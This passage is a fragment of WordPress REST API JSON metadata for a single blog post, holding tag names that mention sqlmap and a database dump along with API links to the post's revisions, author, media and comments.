-map-database-dump","tag-sqlmap","entry","has-media"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/129"}],"collection":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/comments?post=129"}],"version-history":[{"count":9,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/129\/revisions"}],"predecessor-version":[{"id":521,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/129\/revisions\/521"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media\/148"}],"wp:attachment":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media?parent=129"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/categories?post=129"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/tags?post=129"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}